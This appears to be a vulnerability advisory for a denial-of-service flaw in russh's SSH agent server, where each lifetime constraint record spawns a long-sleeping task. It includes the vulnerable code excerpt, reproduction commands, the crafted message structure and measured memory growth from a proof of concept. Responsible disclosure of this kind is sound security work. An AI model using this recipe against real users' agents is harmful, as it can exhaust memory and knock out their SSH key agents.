CVE-2026-111061

### Summary `russh_keys::agent::server::add_key` (`russh/src/keys/agent/server.rs:271-319`) spawns a dedicated tokio task for every 5-byte `SSH_AGENT_CONSTRAIN_LIFETIME` record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the `auth-agent@openssh.com` channel by default at `russh/src/client/mod.rs:2686`) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01). ### Details ```rust // russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop) while let Ok(t) = u8::decode(r) { match t { SSH_AGENT_CONSTRAIN_LIFETIME => { let lifetime = u32::decode(r)?; ... tokio::spawn({ let key = key.clone; async move { tokio::time::sleep(...lifetime...).await; /* remove key */ } }); } ... ``` Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded `tokio::spawn` per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier. ### Proof of concept Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it. ```bash $ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh russh at efa9a03 -> /home/ubuntu/russh-poc/poc $ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40 [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB) [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB) [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes) [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer. [*] fds = 19 ``` The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace. #### Manual reproduction, step by step (no archive required) 1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process): ```bash git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310 cargo build --release # in the PoC crate directory; the path dependency points at the clone ``` 2. Run the PoC: it starts the agent on loopback, then sends repeated `SSH_AGENTC_ADD_IDENTITY_CONSTRAINED` messages whose constraint sections contain ~52,000 five-byte `SSH_AGENT_CONSTRAIN_LIFETIME` records each: ```bash ./target/release/poc-agent-addkey 40 # [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB) # [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB) # [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes) # [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer. ``` 3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (`MODE=control`), isolating the constraint-record task spawn as the amplifier. 4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept `auth-agent@openssh.com` channels by default, `russh/src/client/mod.rs:2686`), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails. ### Impact An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.